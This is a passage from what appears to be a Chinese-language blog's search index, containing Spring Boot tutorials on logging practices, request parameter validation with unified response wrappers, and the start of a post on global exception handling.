class="line">    <span class="attr">max-history:</span> <span class="number">30</span></span><br><span class="line">  <span class="attr">pattern:</span></span><br><span class="line">    <span class="attr">file:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] [%X&#123;traceId&#125;] %-5level %logger&#123;36&#125; - %msg%n&quot;</span></span><br></pre></td></tr></table></figure><h3 id="2-避免日志滥用"><a href="#2-避免日志滥用" class="headerlink" title="2. 避免日志滥用"></a>2. 避免日志滥用</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 不要在循环中记录日志</span></span><br><span class="line"><span class="keyword">for</span> (User user : users) &#123;</span><br><span class="line">    logger.debug(<span class="string">&quot;处理用户: &#123;&#125;&quot;</span>, user); <span class="comment">// 可能产生大量日志</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 合理控制日志</span></span><br><span class="line">logger.info(<span class="string">&quot;开始处理 &#123;&#125; 个用户&quot;</span>, users.size());</span><br><span class="line"><span class="keyword">for</span> (User user : users) &#123;</span><br><span class="line">    <span class="comment">// 业务逻辑</span></span><br><span class="line">&#125;</span><br><span class="line">logger.info(<span class="string">&quot;处理完成&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="3-日志脱敏"><a href="#3-日志脱敏" class="headerlink" title="3. 日志脱敏"></a>3. 日志脱敏</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 敏感信息不要直接打印</span></span><br><span class="line">logger.info(<span class="string">&quot;用户登录: username=&#123;&#125;, ip=&#123;&#125;&quot;</span>, mask(username), ip);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>日志配置的关键是：</p><ol><li>合理设置日志级别，生产环境避免过多 DEBUG 日志</li><li>配置日志滚动，防止日志文件过大</li><li>使用链路追踪，便于问题定位</li><li>注意日志性能，避免影响业务</li></ol><p>写这篇文章时，我回顾了几个项目的日志配置。好的日志配置能大大提升问题排查效率，希望这些实践能帮到你。</p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 参数校验与返回值封装：最佳实践</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-参数校验与返回值封装：最佳实践"><a href="#Spring-Boot-参数校验与返回值封装：最佳实践" class="headerlink" title="Spring Boot 参数校验与返回值封装：最佳实践"></a>Spring Boot 参数校验与返回值封装：最佳实践</h1><p>在 Spring Boot 项目中，参数校验和返回值封装是提升接口质量的重要环节。今天分享一下我的实践经验。</p><h2 id="参数校验"><a href="#参数校验" class="headerlink" title="参数校验"></a>参数校验</h2><h3 id="1-添加依赖"><a href="#1-添加依赖" class="headerlink" title="1. 添加依赖"></a>1. 添加依赖</h3><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-validation<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="2-使用注解校验"><a href="#2-使用注解校验" class="headerlink" title="2. 使用注解校验"></a>2. 使用注解校验</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CreateUserRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 3, max = 50, message = &quot;用户名长度必须在3-50之间&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;邮箱不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;密码不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 6, message = &quot;密码长度至少6位&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Min(value = 18, message = &quot;年龄必须大于18&quot;)</span></span><br><span class="line">    <span class="meta">@Max(value = 100, message = &quot;年龄不能超过100&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Integer age;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-Controller-中启用校验"><a href="#3-Controller-中启用校验" class="headerlink" title="3. Controller 中启用校验"></a>3. Controller 中启用校验</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;UserDTO&gt; <span class="title function_">createUser</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> CreateUserRequest request)</span> &#123;</span><br><span class="line">        <span class="type">UserDTO</span> <span class="variable">user</span> <span class="operator">=</span> userService.createUser(request);</span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.status(HttpStatus.CREATED).body(user);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-自定义校验注解"><a href="#4-自定义校验注解" class="headerlink" title="4. 自定义校验注解"></a>4. 自定义校验注解</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="meta">@Constraint(validatedBy = PhoneValidator.class)</span></span><br><span class="line"><span class="meta">@Target(&#123;FIELD&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RUNTIME)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> Phone &#123;</span><br><span class="line">    String <span class="title function_">message</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;手机号格式不正确&quot;</span>;</span><br><span class="line">    Class&lt;?&gt;[] groups() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">    Class&lt;? <span class="keyword">extends</span> <span class="title class_">Payload</span>&gt;[] payload() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PhoneValidator</span> <span class="keyword">implements</span> <span class="title class_">ConstraintValidator</span>&lt;Phone, String&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Pattern</span> <span class="variable">PATTERN</span> <span class="operator">=</span> Pattern.compile(<span class="string">&quot;^1[3-9]\\d&#123;9&#125;$&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isValid</span><span class="params">(String value, ConstraintValidatorContext context)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (value == <span class="literal">null</span> || value.isEmpty()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>; <span class="comment">// 使用 @NotBlank 处理必填</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> PATTERN.matcher(value).matches();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="返回值封装"><a href="#返回值封装" class="headerlink" title="返回值封装"></a>返回值封装</h2><h3 id="1-统一响应格式"><a href="#1-统一响应格式" class="headerlink" title="1. 统一响应格式"></a>1. 统一响应格式</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@Builder</span></span><br><span class="line"><span class="meta">@NoArgsConstructor</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ApiResponse</span>&lt;T&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> code;</span><br><span class="line">    <span class="keyword">private</span> String message;</span><br><span class="line">    <span class="keyword">private</span> T data;</span><br><span class="line">    <span class="keyword">private</span> LocalDateTime timestamp;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; ApiResponse&lt;T&gt; <span class="title function_">success</span><span class="params">(T data)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.&lt;T&gt;builder()</span><br><span class="line">            .code(<span class="number">200</span>)</span><br><span class="line">            .message(<span class="string">&quot;success&quot;</span>)</span><br><span class="line">            .data(data)</span><br><span class="line">            .timestamp(LocalDateTime.now())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; ApiResponse&lt;T&gt; <span class="title function_">success</span><span class="params">(String message, T data)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.&lt;T&gt;builder()</span><br><span class="line">            .code(<span class="number">200</span>)</span><br><span class="line">            .message(message)</span><br><span class="line">            .data(data)</span><br><span class="line">            .timestamp(LocalDateTime.now())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; ApiResponse&lt;T&gt; <span class="title function_">error</span><span class="params">(<span class="type">int</span> code, String message)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.&lt;T&gt;builder()</span><br><span class="line">            .code(code)</span><br><span class="line">            .message(message)</span><br><span class="line">            .timestamp(LocalDateTime.now())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-使用示例"><a href="#2-使用示例" class="headerlink" title="2. 使用示例"></a>2. 使用示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> ApiResponse&lt;UserDTO&gt; <span class="title function_">getUser</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="type">UserDTO</span> <span class="variable">user</span> <span class="operator">=</span> userService.getUser(id);</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.success(user);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping</span></span><br><span class="line">    <span class="keyword">public</span> ApiResponse&lt;UserDTO&gt; <span class="title function_">createUser</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> CreateUserRequest request)</span> &#123;</span><br><span class="line">        <span class="type">UserDTO</span> <span class="variable">user</span> <span class="operator">=</span> userService.createUser(request);</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.success(<span class="string">&quot;创建成功&quot;</span>, user);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-全局异常处理"><a href="#3-全局异常处理" class="headerlink" title="3. 全局异常处理"></a>3. 全局异常处理</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(MethodArgumentNotValidException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ApiResponse&lt;Void&gt; <span class="title function_">handleValidationException</span><span class="params">(MethodArgumentNotValidException ex)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> ex.getBindingResult().getFieldErrors().stream()</span><br><span class="line">            .map(FieldError::getDefaultMessage)</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ApiResponse.error(<span class="number">400</span>, message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(BusinessException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ApiResponse&lt;Void&gt; <span class="title function_">handleBusinessException</span><span class="params">(BusinessException ex)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.error(ex.getCode(), ex.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> ApiResponse&lt;Void&gt; <span class="title function_">handleException</span><span class="params">(Exception ex)</span> &#123;</span><br><span class="line">        log.error(<span class="string">&quot;系统异常&quot;</span>, ex);</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.error(<span class="number">500</span>, <span class="string">&quot;系统内部错误&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="分页响应封装"><a href="#分页响应封装" class="headerlink" title="分页响应封装"></a>分页响应封装</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@Builder</span></span><br><span class="line"><span class="meta">@NoArgsConstructor</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PageResponse</span>&lt;T&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> List&lt;T&gt; items;</span><br><span class="line">    <span class="keyword">private</span> Long total;</span><br><span class="line">    <span class="keyword">private</span> Integer page;</span><br><span class="line">    <span class="keyword">private</span> Integer size;</span><br><span class="line">    <span class="keyword">private</span> Integer totalPages;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; PageResponse&lt;T&gt; <span class="title function_">of</span><span class="params">(List&lt;T&gt; items, Long total, Integer page, Integer size)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">totalPages</span> <span class="operator">=</span> (<span class="type">int</span>) Math.ceil((<span class="type">double</span>) total / size);</span><br><span class="line">        <span class="keyword">return</span> PageResponse.&lt;T&gt;builder()</span><br><span class="line">            .items(items)</span><br><span class="line">            .total(total)</span><br><span class="line">            .page(page)</span><br><span class="line">            .size(size)</span><br><span class="line">            .totalPages(totalPages)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><h3 id="1-区分必填和可选字段"><a href="#1-区分必填和可选字段" class="headerlink" title="1. 区分必填和可选字段"></a>1. 区分必填和可选字段</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UpdateUserRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Size(min = 3, max = 50, message = &quot;用户名长度必须在3-50之间&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username; <span class="comment">// 可选</span></span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email; <span class="comment">// 可选</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 没有 @NotBlank，说明是可选字段</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-自定义错误消息"><a href="#2-自定义错误消息" class="headerlink" title="2. 自定义错误消息"></a>2. 自定义错误消息</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CreateUserRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;&#123;validation.username.required&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 <code>messages.properties</code> 中配置：</p><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="attr">validation.username.required</span>=<span class="string">用户名不能为空</span></span><br></pre></td></tr></table></figure><h3 id="3-避免过度封装"><a href="#3-避免过度封装" class="headerlink" title="3. 避免过度封装"></a>3. 避免过度封装</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 不要在 Controller 中重复封装</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line"><span class="keyword">public</span> ApiResponse&lt;UserDTO&gt; <span class="title function_">getUser</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">    <span class="type">UserDTO</span> <span class="variable">user</span> <span class="operator">=</span> userService.getUser(id);</span><br><span class="line">    <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> ApiResponse.error(<span class="number">404</span>, <span class="string">&quot;用户不存在&quot;</span>); <span class="comment">// 应该在 Service 中抛出异常</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ApiResponse.success(user);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ Service 层处理业务逻辑</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.findById(id)</span><br><span class="line">            .map(<span class="built_in">this</span>::convertToDTO)</span><br><span class="line">            .orElseThrow(() -&gt; ResourceNotFoundException.of(<span class="string">&quot;用户&quot;</span>, id));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>参数校验和返回值封装的关键是：</p><ol><li>使用标准校验注解，减少重复代码</li><li>定义统一的响应格式，提升接口规范性</li><li>在 Service 层处理业务逻辑，Controller 只负责接收和返回</li><li>使用全局异常处理器统一处理异常</li></ol><p>写这篇文章时，我回顾了几个项目的接口设计。好的接口设计能提升前后端协作效率，减少沟通成本。希望这些实践能帮到你。</p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 统一异常处理：优雅的错误响应方案</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-统一异常处理：优雅的错误响应方案"><a href="#Spring-Boot-统一异常处理：优雅的错误响应方案" class="headerlink" title="Spring Boot 统一异常处理：优雅的错误响应方案"></a>Spring Boot 统一异常处理：优雅的错误响应方案</h1><p>在 Spring Boot 项目中，统一异常处理是必不可少的。今天分享一下我在项目中常用的异常处理方案。</p><h2 id="统一错误响应格式"><a href="#统一错误响应格式" class="headerlink" title="统一错误响应格式"></a>统一错误响应格式</h2><p>首先定义统一的错误响应格式：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@Builder</span></span><br><span class="line"><span class="meta">@NoArgsConstructor</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ErrorResponse</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> code;</span><br><span class="line">    <span class="keyword">private</span> String message;</span><br><span class="line">    <span class="keyword">private</span> String path;</span><br><span class="line">    <span class="keyword">private</span> LocalDateTime timestamp;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> ErrorResponse <span class="title function_">of</span><span class="params">(<span class="type">int</span> code, String message, String path)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ErrorResponse.builder()</span><br><span class="line">            .code(code)</span><br><span class="line">            .message(message)</span><br><span class="line">            .path(path)</span><br><span class="line">            .timestamp(LocalDateTime.now())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="全局异常处理器"><a href="#全局异常处理器" class="headerlink" title="全局异常处理器"></a>全局异常处理器</h2><p>使用 <code>@RestControllerAdvice</code> 实现全局异常处理：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LoggerFactory.getLogger(GlobalExceptionHandler.class);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 处理业务异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(BusinessException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;ErrorResponse&gt; <span class="title function_">handleBusinessException</span><span class="params">(</span></span><br><span class="line"><span class="params">            BusinessException ex, </span></span><br><span class="line"><span class="params">            HttpServletRequest request)</span> &#123;</span><br><span class="line">        logger.warn(<span class="string">&quot;业务异常: &#123;&#125;&quot;</span>, ex.getMessage());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.status(HttpStatus.BAD_REQUEST)</span><br><span class="line">            .body(ErrorResponse.of(</span><br><span class="line">                ex.getCode(), </span><br><span class="line">                ex.getMessage(), </span><br><span class="line">                request.getRequestURI()</span><br><span class="line">            ));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 处理参数校验异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(MethodArgumentNotValidException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;ErrorResponse&gt; <span class="title function_">handleValidationException</span><span class="params">(</span></span><br><span class="line"><span class="params">            MethodArgumentNotValidException ex,</span></span><br><span class="line"><span class="params">            HttpServletRequest request)</span> &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> ex.getBindingResult().getFieldErrors().stream()</span><br><span class="line">            .map(FieldError::getDefaultMessage)</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        </span><br><span class="line">        logger.warn(<span class="string">&quot;参数校验失败: &#123;&#125;&quot;</span>, message);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.status(HttpStatus.BAD_REQUEST)</span><br><span class="line">            .body(ErrorResponse.of(</span><br><span class="line">                <span class="number">400</span>, </span><br><span class="line">                message, </span><br><span class="line">                request.getRequestURI()</span><br><span class="line">            ));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 处理资源未找到异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(ResourceNotFoundException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;ErrorResponse&gt; <span class="title function_">handleResourceNotFoundException</span><span class="params">(</span></span><br><span class="line"><span class="params">            ResourceNotFoundException ex,</span></span><br><span class="line"><span class="params">            HttpServletRequest request)</span> &#123;</span><br><span class="line">        logger.warn(<span class="string">&quot;资源未找到: &#123;&#125;&quot;</span>, ex.getMessage());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.status(HttpStatus.NOT_FOUND)</span><br><span class="line">            .body(ErrorResponse.of(</span><br><span class="line">                <span class="number">404</span>, </span><br><span class="line">                ex.getMessage(), </span><br><span class="line">                request.getRequestURI()</span><br><span class="line">            ));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 处理其他未知异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;ErrorResponse&gt; <span class="title function_">handleException</span><span class="params">(</span></span><br><span class="line"><span class="params">            Exception ex,</span></span><br><span class="line"><span class="params">            HttpServletRequest request)</span> &#123;</span><br><span class="line">        logger.error(<span class="string">&quot;系统异常: &quot;</span>, ex);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)</span><br><span class="line">            .body(ErrorResponse.of(</span><br><span class="line">                <span class="number">500</span>, </span><br><span class="line">                <span class="string">&quot;系统内部错误，请稍后重试&quot;</span>, </span><br><span class="line">                request.getRequestURI()</span><br><span class="line">            ));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="自定义业务异常"><a href="#自定义业务异常" class="headerlink" title="自定义业务异常"></a>自定义业务异常</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(callSuper = true)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BusinessException</span> <span class="keyword">extends</span> <span class="title class_">RuntimeException</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">int</span> code;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BusinessException</span><span class="params">(String message)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(message);</span><br><span class="line">        <span class="built_in">this</span>.code = <span class="number">400</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BusinessException</span><span class="params">(<span class="type">int</span> code, String message)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(message);</span><br><span class="line">        <span class="built_in">this</span>.code = code;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> BusinessException <span class="title function_">of</span><span class="params">(String message)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> BusinessException <span class="title function_">of</span><span class="params">(<span class="type">int</span> code, String message)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(code, message);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="自定义资源未找到异常"><a href="#自定义资源未找到异常" class="headerlink" title="自定义资源未找到异常"></a>自定义资源未找到异常</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(callSuper = true)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ResourceNotFoundException</span> <span class="keyword">extends</span> <span class="title class_">RuntimeException</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ResourceNotFoundException</span><span class="params">(String message)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> ResourceNotFoundException <span class="title function_">of</span><span 